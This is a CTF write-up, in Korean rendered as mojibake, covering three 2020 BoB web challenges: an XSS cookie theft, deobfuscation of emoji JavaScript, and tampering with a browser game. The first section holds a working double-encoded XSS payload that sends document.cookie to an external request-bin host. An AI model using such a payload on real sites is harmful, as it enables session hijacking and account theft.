2020 BoB 9th CTF Write-up
- 2020 BoB CTF Write-up
- ๐ฅ๏ธ WEB
- ๐ฅ๏ธ REVERSING
- ๐ฅ๏ธ FORENSIC
- ๐ฅ๏ธ PWN
- ๐ฅ๏ธ CRYPTO
- ๐ฅ๏ธ MISC
2020 BoB CTF Write-up
๐ฅ๏ธ WEB
Last of cat
Last of Cat
ํ์ด์ง์ ์ ์ํ๋ฉดLogin Page
๊ฐ ์ถ๋ ฅ๋๋ค. ํ์๊ฐ์ ์ ํ๊ธฐ ์ํดJoin
๋ฒํผ์ ํด๋ฆญํ๋ค.
- ํ์๊ฐ์ ํ๊ณ ๋ก๊ทธ์ธ์ ํ์ฌ ๋ฉ๋ด๋ฅผ ํ์ธํ๋ค.
Cat
๋ฉ๋ด์์๋ ๊ณ ์์ด ์ฌ์ง์ ํ์ธํ ์ ์๋ค.
Bot
์์๋Input URL
๊ธฐ๋ฅ์ ํตํด ๋ด์๊ฒ XSS ๊ตฌ๋ฌธ์ ์ ์กํ ์ ์๋ค. ์๋Bot Log
ํ ์ด๋ธ์์ ๋ด์ด ๋ด URL์ ํ์ธํ๋์ง ๋ฐ๋ก ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
์ด ๋ฌธ์ ๋ XSS๊ฐ ๋ฐ์ํ๋ ํ์ด์ง๋ฅผ ์ฐพ์ ํด๋น ํ์ด์ง๋ฅผ ํตํด ์ฟ ํค๋ฅผ ํ์ทจํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ๋ฉด ํ๋ฆฌ๋ ๊ฐ๋จํ ๋ฌธ์ ๋ค.
- Cat Page์ ์ ์ํ๋ฉด ์ ํ๋ฉด๊ณผ ๊ฐ์ ๊ณ ์์ด ์ฌ์ง๊ณผ ๋ฌธ๊ตฌ๊ฐ ์ถ๋ ฅ๋๋ค.
- ์ฌ์ง๊ณผ ๋ฌธ๊ตฌ๋ฅผ ์ถ๋ ฅํ๋ ๋ฃจํด์ ์ดํด๋ณด๋ฉด, src ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด html์ ์ฝ์ด์จ๋ค. ํด๋น ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ XSS๋ฅผ ๋ฐ์์ํฌ ์ ์๋ค.
http://bob.zairo.kr:1337/catview?src=http://bob.zairo.kr:1337/cats/ae7d0baaa9b7ad791a6bfa53c936490e.html
Cat
ํ์ด์ง์์View
๋ฒํผ์ ํด๋ฆญํ ๋๋ฅผ Fiddler๋ก ์ดํด๋ณด๋ฉดgetlink
ํ์ด์ง์idx=์ซ์
ํ์์ผ๋ก ํ์ด์ง๋ฅผ ์์ฒญํ๋๊ฒ์ ํ์ธํ ์ ์๋ค.
/getlink?idx=2
์ ์ ์ํ๋ฉด ์์ ๊ฐ์ด idx์ link๊ฐ ์ถ๋ ฅ๋๋ค.
- getlink ํ์ด์ง์ ์์ ๊ฐ์ ์
๋ ฅํ ๊ฒฝ์ฐ ๊ทธ๋๋ก ์ถ๋ ฅํด์ฃผ๋๋ฐ ํด๋น ํ์ด์ง์ ์๋ต์
Content-Type
์application/json
์ด๋ผ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ง ์๋๋ค. ํ์ง๋ง, ํน์ ํ์ด์ง๋ฅผ ๋ก๋์์ผ ํ์ด์ง ๋ด๋ถ์ ํฌํจํ๋ ๊ฒฝ์ฐ ํด๋น ํ์ด์ง๋ฅผ ์ด์ฉํ์ฌ XSS๋ฅผ ๋ฐ์์ํฌ ์ ์๋ค.
http://bob.zairo.kr:1337/catview?src=http%3A%2F%2Fbob.zairo.kr%3A1337%2Fgetlink%3Fidx%3D%253Cscript%253Ealert(1)%253C%252Fscript%253E
src
์ getlink ํ์ด์ง idx ํ๋ผ๋ฏธํฐ ๊ฐ์<script>alert(1);</script>
๋ฅผ 2๋ฒ URL Encoding ํ์ฌ ์ ๋ ฅํ๋ฉด ๊ทธ๋ฆผ๊ณผ ๊ฐ์ด alert ๊ตฌ๋ฌธ์ด ์คํ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
request bin
์ ์ด์ฉํด ์์ ์๋ฒ๋ก ์ฟ ํค๋ฅผ ์ ์กํ๋๋ก ํ์ฌ ํ์ทจํ๋๋ก ํ๋ค
Payload
http://bob.zairo.kr:1337/catview?src=http://bob.zairo.kr:1337/getlink?idx=http%3A%2F%2Fbob.zairo.kr%3A1337%2Fgetlink%3Fidx%3D%3Cscript%3Edocument.location.href%3D%27https%3A%2F%2Fenwm946jeqwe.x.pipedream.net%2F%3Fparam%27%2Bdocument.cookie%3C%2Fscript%3E
http://bob.zairo.kr:1337/catview?src=http://bob.zairo.kr:1337/getlink?idx=http://bob.zairo.kr:1337/getlink?idx=<script>document.location.href='https://enwm946jeqwe.x.pipedream.net/?param'+ document.cookie</script>
- ์ ๊ตฌ๋ฌธ์ ํตํด
catview
ํ์ด์ง์์src
ํ๋ผ๋ฏธํฐ๋ก ๊ฐ์ ์ฒ๋ฆฌํ ๋getlink
ํ์ด์ง์ ์ ์ํ๊ณgetlink
ํ์ด์ง์idx
์ ์ ๋ ฅ ๋์ด ์๋ ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์ด ์คํ๋์ด ๊ฒฐ๊ตญ ์ฟ ํค๋ฅผ ํ์ทจ ํ ์ ์๋ค.
King musae
1. ๋ฌธ์ ํ์ ํ๊ธฐ
- ๋ฌธ์ ์ฌ์ดํธ์ ์ ์ํ๋ฉด Javascript Alert๋ก "find Flag"๋ฅผ ์ถ๋ ฅ๋๋ค.
- Chrome ๊ฐ๋ฐ์ ๋๊ตฌ์ธ ์์ค์ฝ๋ ๋ณด๊ธฐ๋ฅผ ๋๋ฌ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด ์๋์ ๊ฐ์ด ๋๋ ํ๋ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ํ์ธํ ์ ์๋ค.
๐ = "{}",๐
ง='',๐='@',๐
="test",๐
='',๐=๐
+{},๐ = '',๐=๐
,๐
ฟ = ๐
+๐
[[]],๐=๐
,++๐,๐=๐[++๐],++๐,++๐,++๐,๐+=๐[--๐],++๐,๐+=๐[++๐],๐+=๐[๐
ง++],๐ง=๐,--๐,--๐,๐ฒ=๐
ฟ[๐++], ๐ฒ+=๐
ฟ[๐++],๐ฒ+=๐
ฟ[๐++],++๐,๐ฒ+=๐
ฟ[๐++],๐=!๐
+๐
,๐=!๐+๐
,++๐,๐
ง,๐ฃ=๐[๐
++],๐=๐[๐=๐
],๐--,--๐,๐=๐+๐+๐[๐]+๐
ฟ[--๐],๐ข=++๐+๐
,๐=๐[๐+๐ข],๐+=๐[๐
ง],๐[๐ก=๐+๐ง+๐],๐[๐+=๐[๐
]+(๐.๐+๐)[๐
]+๐[๐ข]+๐ฃ+๐+๐[๐]+๐+๐ฃ+๐[๐
]+๐][๐](๐[๐
]+๐[๐]+๐[๐ข]+๐+๐ฃ+"('"+๐ฒ+" Flag')")``
- ์ฐ์ ๋๋ ํ๋ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ํ์ ํ๊ธฐ ์ "alert" ๋ฌธ์์ด ์์ด alert๊ฐ ์คํ๋ ๊ฑด ์ ์ ์์ผ๋ฉฐ, ํด๋น ์ฝ๋๊ฐ ์ด๋ป๊ฒ ์คํ๋์๋์ง "`" ๋ฒกํฐ๋ฅผ ์ ๊ฑฐํ์ฌ ๋๋ ํ๋ ์๋ฐ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ง ์๋๋ก chrome console์ ๋ฃ์ด๋ณด๋ฉด ์๋์ ๊ฐ์ด ์ฝ๋๊ฐ ๊ตฌํ๋์ด ์๋ ๊ฑธ ์ ์ ์๋ค.
- ํ์ง๋ง ๋ณ์์ ์ ์ฅ๋ Flag๋ ์ ์ ์์์ง๋ง ๋๋ ํ๋ ์ฝ๋๋ฅผ ํตํ์ฌ alert๊ฐ ์คํ๋๊ฑด ์ ์ ์๋ค.
๋ณด๋ค ์ฌ์ด ์์ ๋ "Martin Kleppe"๊ฐ ์์ฑํ ์ฝ๋๋ฅผ ๋ณด๋ฉด ๋ ์ฝ๊ฒ ์ ์ ์๋ค.
const ๐ = '๐
';
function ๐ฃ(๐){ alert(๐); }
๐ฃ(๐);
[Martin Kleppe์ special characters]
์ ์ฝ๋๋ฅผ ๋ธ๋ผ์ฐ์ ์์ ์คํ๋๋ฉด ์๊ฐ ์ถ๋ ฅ๋๋๊ฑธ ๋ณผ ์ ์์ผ๋ฉฐ, ์ ์ฝ๋๋ฅผ ํ๋์ฉ ์ค๋ช ํ๋ฉด
๋จผ์ "๐" ๋ณ์์ ์ฑ๊ธ ์ฟผํฐ๋ก ๋ฌธ์์ด๋ก ๋ง๋ค์ด '๐ ' ์๋ฅผ ์ ์ฅํ๋ค.
๊ทธ๋ฆฌ๊ณ ์ฌ์ฉ์ ์ ์ ํจ์๋ฅผ ๋ง๋๋ ๊ณผ์ ์์ ํจ์ ์ด๋ฆ ๋์ "๐ฃ" ์ฅ์ ํ๋์ด๋ก ์ ์ธํ๊ณ ์ธ์๋ช ๋์ "๐" ๋๋ญ์์ ์ ์ธํ๊ณ ๋ด๋ถ ๋ก์ง์ alert๋ฅผ ํตํ์ฌ ์ ๋ฌ๋ ์ธ์(๋๋ญ์)๋ฅผ ํตํ์ฌ ์ถ๋ ฅ๋๋ ๋ก์ง์ด๋ค.
๊ทธ๋ฌ๋ฏ๋ก ์ต์ข ์ ์ผ๋ก ์ฅ์ ํ๋์ด(ํจ์)๋ฅผ ์๊ฐ ์ ์ฅ๋ "๐"๋ณ์๋ฅผ ์ธ์๋ก ์ ๋ฌํ์ฌ ๊ฒฐ๊ตญ์ ์๊ฐ ์ถ๋ ฅ๋๋ ๋ก์ง์ด๋ค. ์ฌ๊ธฐ๊น์ง ์ดํด๊ฐ ๋์๋ค๋ฉด ์๋ ์์ ์์ ๋๋ ํ์ ๋ํด ์ข๋ ์์๋ณด๋๋ก ํ์.
2. ๋ก์ง ํ์ ํ๊ธฐ
๐
='' // ""
๐=!๐
+๐
// "true"
๐=!๐+๐
// "false"
๐=๐
+{} // "[object Object]"
๐ฃ=๐[๐
++] // "r" (๐
= 2)
๐=๐[๐=๐
] // "u" (๐ = 2)
๐ข=++๐+๐
// 5 (๐ = 3), (๐3 + ๐
2)
๐=๐[๐+๐ข] // "O"
๐ // "true"
๐+=๐[๐
] // "co"
(๐.๐+๐)[๐
] // "n"
๐[๐ข] // "s"
๐ฃ // "t"
๐ // "r"
๐[๐
] // "o"
๐ // "r"
๐ // "constructor"
๐[๐+=๐[๐
]+(๐.๐+๐)[๐
]+๐[๐ข]+๐ฃ+
๐+๐[๐]+๐+๐ฃ+๐[๐
]+๐][๐]
// ฦ Function() { [native code] }
๐[๐
] // "a"
๐[๐] // "l"
๐[๐ข] // "e"
๐ // "r"
๐ฃ // "t"
๐[๐
]+๐[๐]+๐[๐ข]+๐+๐ฃ // "alert"
๐[๐+=๐[๐
]+(๐.๐+๐)[๐
]+๐[๐ข]+๐ฃ+
๐+๐[๐]+๐+๐ฃ+๐[๐
]+๐][๐](๐[๐
]+๐[๐]+๐[๐ข]+๐+๐ฃ+"('"+๐ฒ+" Flag')")
// ฦ anonymous(
// ) {
// alert('find Flag')
// }
๐[๐][๐]
// ฦ Function() { [native code] }
๐[๐][๐](๐[๐
]+๐[๐]+๐[๐ข]+๐+๐ฃ+"('DongDongE')")``
//ฦ anonymous(
//) {
//alert('DongDongE')
//}
- ์์ ๊ฐ์ด alert๋ฅผ ์ถ๋ ฅํ๊ธฐ ์ํด ๊ฐ์ข ๋ฌธ์์ด ์กฐํฉ์ผ๋ก Function์ ๋ง๋ค๊ณ ๋ฌธ์๋ฅผ ์กฐํฉ ํ๋ค.
์ ์ฝ๋๊ฐ ๊ทธ๋๋ ์ด๋ ต๋ค๋ฉด ์๋ ์์ ์์ ๊ฐ๋จํ๊ฒ ํ์ด์ ์์๋ณด๋๋ก ํ์.
๐[๐
] // "a" "false" ๋ฌธ์์ด์ 2๋ฒ์งธ "a"
๐[๐] // "l" "false" ๋ฌธ์์ด์ 3๋ฒ์งธ "ใ
ฃ"
๐[๐ข] // "e" "true" ๋ฌธ์์ด์ 4๋ฒ์งธ "e"
๐ // "r" "true" ๋ฌธ์์ด์ 2๋ฒ์งธ "r"
๐ฃ // "t" "true" ๋ฌธ์์ด์ 1๋ฒ์งธ "t"
์ ์ฝ๋์ ๊ฐ์ด "false"์ "true"์ ๋ฌธ์์ด์ ํ๋์ฉ ์ถ์ถํ์ฌ ์กฐํฉํ๋ฉด "alert"๊ฐ ๋์ด alert๊ฐ ๋ฌธ์์ด์์ function์ผ๋ก ์คํ๋๋๋ก ํ๋ ์๋ฆฌ์ด๋ค.
๊ทธ๋ฌ๋ฉด ์ ํ๋๊ทธ๋ฅผ ์ป๊ธฐ ์ํด ํ๋์ฉ ๋ณ์๋ฅผ ์ถ๋ ฅํด๋ณด๋ฉด ํ๋๊ทธ๊ฐ ์ถ๋ ฅ๋๋ค.
๐ก=๐+๐ง+๐
"bob{[object Object]r@on}"
- Flag is bob{[object Object]r@on}
- ๊ฐํน ํ๋๊ทธ๊ฐ์ด ์๋ฐ์คํฌ๋ฆฝํธ์ "object Object"๊ฐ ์๋๊ฑธ ์๋ฌธ ๋ค ์ ์์ง๋ง ํ๋์ ๋ฌธ์๋ฅผ ์ถ์ถํ ์กฐํฉํ๊ธฐ ์ํด 3-5์ค ๋ผ์ธ์ด ๋ ์ถ๊ฐ๋๋ค. ์๋ฅผ ๋ค์ด ํ๋๊ทธ๋ฅผ "bob[R@onWhiteHat_1235]" ์ด๋ฐ์์ผ๋ก ์ถ๋ ฅํ๋ค๊ณ ํ๋ฉด 17๊ธ์ ์ด๋ฏ๋ก 17 * 3 = 51๋ผ์ธ์ด ๋ ์ถ๊ฐ๋๋ฏ๋ก ๋๋ ํ์ ํ์ด๋๊ฐ๋ ๊ณผ์ ์์ ๋์ด๋๊ฐ ์์น๋๊ณ ๋ณต์กํ๋ฏ๋ก ๊ฐ๋จํ ํ๋๊ทธ๋ฅผ ๋ฃ์ด ๋์ด๋๋ฅผ ๋ฎ์ถ๊ฒ ๋จ.
Fun Fun Game
1. ๋ฌธ์ ๋ก์ง ํ์ ํ๊ธฐ
- ๋ฌธ์ ๋ฅผ ํ์ ํ๊ธฐ ์ํด ๊ฒ์ ํํ์ ์งํํ๋ค.
- 60 Point๊น์ง ์๊ณ "Game Over"๋์ด "Restart" ๋ฒํผ์ ๋๋ฅธ ์ํ์ ํจํท History ์ด๋ค.
- ์๋ ํจํท์ ํตํ์ฌ ํ๋ฒ ์ดํด๋ณด๋๋ก ํ์.
POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 142
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close
kills=15&token=start
[25๋ผ์ธ ํจํท - Request]
HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 01:44:43 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 32
Connection: close
Content-Type: text/html; charset=UTF-8
d2e94e4635c240c14e209fab2fa719e7
[25๋ผ์ธ ํจํท - Response]
POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 169
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close
kills=15&token=d2e94e4635c240c14e209fab2fa719e7
[26๋ผ์ธ ํจํท - Request]
HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 01:44:45 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 32
Connection: close
Content-Type: text/html; charset=UTF-8
7a115a19ee939868ff2222f8fd765606
[26๋ผ์ธ ํจํท - Rsponse]
- 26 ๋ผ์ธ ~ 28 ๋ผ์ธ๊น์ง ๊ณผ์ ์ด ๊ฐ์ผ๋ฏ๋ก ์๋ต
POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 11
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close
check=start
[๋ง์ง๋ง 29๋ผ์ธ - Reqeust]
HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 01:46:52 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
[๋ง์ง๋ง 29๋ผ์ธ - Response]
- ์์ ๊ฐ์ด ๊ท์น์ฑ์ ์ฐพ์๋ณธ๋ค๋ฉด, ์ฒ์ ๊ฒ์ ํ๋ ์ดํ์ฌ 15Kill์ ํ์์ ๋ "kills=15&token=start" POST ๊ฐ์ Token์ ์๋ตํ์ฌ ๋ณด๋ด์ง๋ง, ์๋ต์ผ๋ก "d2e94e4635c240c14e209fab2fa719e7" ํ ํฐ์ ๊ฐ์ ธ์ค๊ฒ ๋ฉ๋๋ค. ๋ ๋ฒ์งธ 15Kill ๋ถํฐ ๋ฐ์๋ ํ ํฐ์ ๋ค์ ์ ์กํ๋ ๊ท์น์ ์ฐพ์ ์ ์๋ค.
- ๋ง์ง๋ง์ผ๋ก ๊ฒ์์ด ์ข ๋ฃ๋์์ ๋๋ ๋ณ๋ค๋ฅธ ํจํท์ ์ ์กํ์ง ์์ง๋ง ์ฌ์์(Restart) ๋ฒํผ์ ํด๋ฆญํ์์ ๋ "check=start" ํจํท์ ํ์ธํ ์ ์๋ค.
- ํ์ง๋ง "ํฌ์" ์กฐ์ ๋ฐ "ํ ํฐ"๊ฐ ์กฐ์์ด ๋์ด ์์ผ๋ฉด ํ์ง๊ฐ ๋์ด ๋ฌธ์ ๋ฅผ ํ ์ ์๋ Protect๊ฐ ์ค์ ๋์ด ์๋ค.
POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 142
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close
kills=20
[kill ์ ์กฐ์๋ ํจํท - Request]
HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 02:22:26 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 146
Connection: close
Content-Type: text/html; charset=UTF-8
alert('๋น์ ์ ํ์ ํ์ง!! Kills ์๊ฐ ์กฐ์๋์์ต๋๋ค. ๋ถ์ ํ์๋ก ์ ์๋ฅผ ์ด๊ธฐํ ๋์์ต๋๋ค.');location.reload(true);
[Kill ์ ์กฐ์๋ ํจํท - Response]
- ํด๋น ํฌ ์๋ ์ผ์ ํ๊ฒ 15 Kill๋ฅผ ์กฐ์ํ์ฌ ์ด๊ณผํ ๊ฒฝ์ฐ ์๋์ผ๋ก ๋ถ์ ํ์๋ก ๊ฐ์ฃผ๋์ด ๊ทธ๋์ ์์์จ ํฌ์ ์ด๊ธฐํ๋๋ค.
- ๊ทธ๋ฌ๋ฉด ๋ฐ๋๋ก ํ ํฐ๊ฐ์ด ์กฐ์๋์์ ๋ ์๋์ ๊ฐ์ด ํ ํฐ ์กฐ์ ๊ฒฝ๊ณ ์ฐฝ์ด ์ถ๋ ฅ๋๋ค.
POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 169
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close
kills=15&token=79d7ed5a7bfe66da42d96a7ef433ff4c
[Token ์กฐ์ ํจํท - Request]
- ํ ํฐ๊ฐ ์กฐ์
HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 02:26:12 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 161
Connection: close
Content-Type: text/html; charset=UTF-8
alert('๋น์ ์ ํ์ ํ์ง!! ํ ํฐ๊ฐ์ด ์ผ์นํ์ง ์์ต๋๋ค. ๋น์ ์ ํ์๋ก ์ ์๊ฐ ํฉ์ณ์ง์ง ์์ต๋๋ค. ์๋ก๊ณ ์นจ ํด์ฃผ์ญ์์ค');
[Token ์กฐ์ ํจํท - Response]
์กฐ์๋ ํ ํฐ๊ฐ ํ์๋ ์์ ๊ฐ์ด ํ์ง๋์ด ๋์ด์ Kill์๊ฐ ์์ด์ง ์๋๋ค.
2. Hint & Debug ์ ๋ณด ์ฐพ๊ธฐ
- ์ด์ ๋ก์ง์ ๋ํด ํ์ ํ์์ผ๋, ๋ฌธ์ ํ์ด๋ฅผ ์ํ ํํธ ์ ๋ณด๋ฅผ ์ฐพ์๋ณด๋๋ก ํ์.
- Chrome Console์ ํ์ธํด๋ณด๋ฉด ์์ ๊ฐ์ด ์์์ ๊ฐ์ ํ์ธํ ์ ์๋ค. (์ถ๋ ฅ๋ ๊ฐ์ ๊ฐ์๋ ์ฌ์ฉ์๋ง๋ค ๋ค๋ฅผ ์ ์์.) ํด๋น ๊ฐ์ ๋ํ ์ ๋ณด๋ฅผ ํ์ ํ๊ธฐ ์ํด "bob_game.js" ํ์ผ์ 492๋ฒ์งธ ์ค ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋๋ก ํ์.
function initGameStart() {
screen.canvas.width = 1300;
screen.canvas.height = 900;
gameSize = {
width: 1300,
height: 900
};
invaderMultiplier = 3;
initialOffsetInvader = 420;
invaderAttackRate = 0.98 + "" + Math.floor(Math.random() * 10);
console.log(invaderAttackRate);
invaderSpeed = 30;
spawnDelayCounter = invaderSpawnDelay;
game = new Game();
}
- 492๋ฒ์งธ ์ฝ๋๋ "console.log(invaderAttackRate);" ์ด๋ฉฐ ํด๋น ๊ฐ์ ๋ณ์๋ช ์์ ์ ์ ์๋ฏ, ๊ฒ์ ๊ณต๊ฒฉ์(์ธ๊ณ์ธ)์ ๊ณต๊ฒฉ ์๋์ด๋ฉฐ, ํด๋น ๊ฐ์ ์กฐ์ํ์ฌ ์ด๋ค ๋ฐ์์ด ๋ณด์ด๋์ง ํ์ธํด ๋ณด์.
- "invaderAttackRate = 9999;" ๋ฐฉ์์ผ๋ก ๊ณต๊ฒฉ์(์ธ๊ณ์ธ)์ด ๊ณต๊ฒฉ์ ํ์ง ์๋ ํ์๋ก ๋ก์ง์ ๊ตฌํํ ์ ์์ผ๋ฉฐ ์๋์ ๊ฐ์ด ๋ฐ๋๋ก ๊ฐ์ ๋ฎ์ถ๋ค๋ฉด ๊ณต๊ฒฉ์๋ ๋ ๋น ๋ฅด๊ณ ๋ง์ด ๊ณต๊ฒฉ์ ํ๊ฒ ๋๋ค.
- "invaderAttackRate = 0.001;" ์ด๊ฑด ๋ต์ด ์๋ค....
์์ ๊ฐ์ด ํํธ๋ฅผ ํตํ์ฌ Javasciprt Debug๋ฅผ ํตํ์ฌ ๋ก์ง์ ๋ณ๊ฒฝํ ์ ์๋ ๊ฑธ ํ์ธํ ์ ์๋ค. ํ์ง๋ง ๊ณต๊ฒฉ ์๋๋ก ๋ณ๊ฒฝํ๋ ๊ฒ ๋ณด๋จ "์คํผ๋" + "๋ฌด์ " + "๊ณต๊ฒฉ์ ๋ฌดํ"๋ฅผ ๊ฑธ์ด ๋ฌธ์ ํ๊ฑฐ๋ ์๋ฐ์คํฌ๋ฆฝํธ ๋ก์ง์ ํตํ์ฌ ๊ฒ์์ ์งํํ์ง ์๊ณ ํ์ด๋ฅผ ์งํํ ์ ์๋ค.
3. ์คํผ๋ + ๋ฌด์ + ๊ณต๊ฒฉ ์๋ ํต ๋ง๋ค๊ธฐ
- ์ด์ ๋ก์ง์ ๋ํด ํ์ ํ์์ผ๋, ๋ฌธ์ ํ์ด๋ฅผ ์ํ ํํธ ์ ๋ณด๋ฅผ ์ฐพ์๋ณด๋๋ก ํ์.
var Player = function() {
this.active = true;
this.size = {
width: 0.1, //232๋ฒ์งธ 16 -> 0.1 ์ผ๋ก ์์ (๊ฒ์ ํ๋ ์ด์ด ์๋ณด์ด๊ฒ ์ค์ )
height: 0.1 //233๋ฒ์งธ 8 -> 0.1 ์ผ๋ก ์์ (๊ฒ์ ํ๋ ์ด์ด ์๋ณด์ด๊ฒ ์ค์ )
};
// 259๋ฒ์งธ ๋ผ์ธ
if (this.keyboarder.isDown(this.keyboarder.KEYS.LEFT) && this.coordinates.x > 0) this.coordinates.x -= 30; // 2 -> 30์ผ๋ก ์์ (์คํผ๋ ํต)
// 260๋ฒ์งธ ๋ผ์ธ
else if (this.keyboarder.isDown(this.keyboarder.KEYS.RIGHT) && this.coordinates.x < gameSize.width - this.size.width) this.coordinates.x += 30; // 2 -> 30์ผ๋ก ์์ (์คํผ๋ ํต)
if (this.keyboarder.isDown(this.keyboarder.KEYS.Space)) {
// 263๋ฒ์งธ this.shooterHeat += 1; ์ฃผ์ ์ฒ๋ฆฌ (ํ๋ ์ด์ด ๊ณต๊ฒฉ ์๋ ๋ฌด์ ํ)
destroy: function() {
//291๋ฒ์งธ this.active = false; ์ฃผ์ ์ฒ๋ฆฌ (ํ๋ ์ด์ด ๋ฌด์ )
//292๋ฒ์งธ game.lost = true; ์ฃผ์ ์ฒ๋ฆฌ (ํ๋ ์ด์ด ๋ฌด์ - ๊ฒ์ ์ข
๋ฃ ์๋๊ฒ)
}
var Projectile = function(coordinates, velocity) {
this.active = true;
this.coordinates = coordinates;
this.size = {
width: 300, //303๋ฒ์งธ ์ค 3 -> 300์ผ๋ก ๋ณ๊ฒฝ ์์ (ํ๋ ์ด์ด ๊ณต๊ฒฉ ํฌ๊ธฐ ๋ณ๊ฒฝ)
height: 3
};
this.velocity = velocity;
};
//491๋ฒ์งธ invaderAttackRate = 0.98 + "" + Math.floor(Math.random() * 10); ์ฃผ์ ์ฒ๋ฆฌ (๊ณต๊ฒฉ์ ์ธ๊ณ์ธ์ด ๊ณต๊ฒฉ ๋ชปํ๋๋ก ์์ )
- ์์ ๊ฐ์ด Javascript๋ฅผ ๋ณ๊ฒฝํ์ฌ ํ๋ ์ด๋ฅผ ํ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด ์คํ๋๋ค.
- ๊ฒ์ํต ์์ฑํ์ฌ ํ๋๊ทธ ํ๋!
